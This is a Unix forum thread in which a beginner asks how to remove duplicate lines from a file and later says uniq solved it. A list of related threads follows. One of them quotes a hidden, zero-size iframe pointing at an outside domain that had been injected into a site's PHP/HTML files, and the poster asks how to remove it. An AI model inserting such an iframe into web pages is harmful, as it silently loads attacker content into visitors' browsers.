Need Script to delete multiple entries from a file


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Need Script to delete multiple entries from a file
# 1  
Old 02-14-2008
Need Script to delete multiple entries from a file

I am new to Linux and would appreciate some help. I need a script to do the following:

My file contains the following entries

more file
1
1
1
1
2
2
2

I want to delete multiple entries of 1 and 2 and just keep one of each. The output should look like

more file
1
2

Thanks
# 2  
Old 02-14-2008
Got it!!! Used the uniq command to do the trick...

Thanks
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Script To Delete User Accounts On Multiple Servers

Hello All, The servers in question are AIX/Unix servers. I was hoping to find a scripting solution where I could use one server as a jump server and run a script that would check each server for a user account (the source file for the user accounts would be a text file or csv file) , and delete... (4 Replies)
Discussion started by: k45bryant
4 Replies

2. Homework & Coursework Questions

Script to delete multiple users

Use and complete the template provided. The entire template must be completed. If you don't, your post may be deleted! 1. The problem statement, all variables and given/known data: Hi This is my first post.I am learning Unix and finding it difficult to get a handle on the scripting side of... (5 Replies)
Discussion started by: dom17
5 Replies

3. Shell Programming and Scripting

Help with UNIX script --Read from one file and delete entries in other

Hi Guru's The script has to read an entry from one file and delete the set of lines form other file. Below is the format of the file. In the below example, script should read the entries from input file 2 and delete the entries from input file 1. Input file 1 cn: test@test1.com abc:... (7 Replies)
Discussion started by: Samingla
7 Replies

4. Shell Programming and Scripting

Script to delete old entries from a file

I need to remove the file entries that are 30 days old. I have a file with the below data. 111.XX.XX.99 - - "GET /folder1/wp-content" 304 111.XX.XX.99 - - "GET /folder1/wp-content" 304 111.XX.XX.99 - - "GET /folder1/wp-content" 304 111.XX.XX.99 - - "GET /folder1/wp-content" 304... (5 Replies)
Discussion started by: anil510
5 Replies

5. Shell Programming and Scripting

script to delete multiple files in remote machine

Requirement Several files in remote machines ought to be deleted via sh. Name of the files to be deleted are know Approach 1) script was written with ftp (requires credential) and delete command. File names were passed as array(iterated via for loop-with ftp+delete commands enclosed within... (1 Reply)
Discussion started by: vkalya
1 Replies

6. Shell Programming and Scripting

Shell script to run a python program on multiple entries in a file

Hello I am trying to run a python program using shell script, which takes a single argument from a file. This file has one entry per line : 1aaa 2bbb 3ccc 4ddd 5eee ... ... ... My shell script runs the program, only for the last entry : #!/bin/sh IFS=$'\n' for line in $(cat... (2 Replies)
Discussion started by: ad23
2 Replies

7. Shell Programming and Scripting

Using userdel -r in a script? To delete multiple users.

I'm getting ready to upgrade to Solaris 10 (from 8) and I'm trying to write a script that will delete approximately 800 user accounts that are no longer required. I'm trying to use the userdel -r command and read the input from a file with the list of user names. I've never been very good at... (3 Replies)
Discussion started by: sol10admin
3 Replies

8. Shell Programming and Scripting

[help]Delete or replace text in multiple file and multiple directory

here's the case : almost of php/html file on my site has added the text : <iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>I don't know how this happen, so i want to remove above text from all... (16 Replies)
Discussion started by: dzufauzan
16 Replies

9. Shell Programming and Scripting

Script to delete all data from multiple files

its urgent!!!!!!111 i need a script which can delete data from multiple files. plz if anybody knows the script plz write a mail to me : (Email addresses are not allowed) (5 Replies)
Discussion started by: uni_ajay_r
5 Replies

10. UNIX for Dummies Questions & Answers

Need a script to delete multiple files

Hello, I am working with about 500,000 text files and 90% of them are duplicates. I need a way to delete the duplicate ones. The files are email messages with the following file name examples: 20040129-1457 This is the Subject line.txt 20040129-1457 This is the Subject line-1.txt... (3 Replies)
Discussion started by: navycow
3 Replies
Login or Register to Ask a Question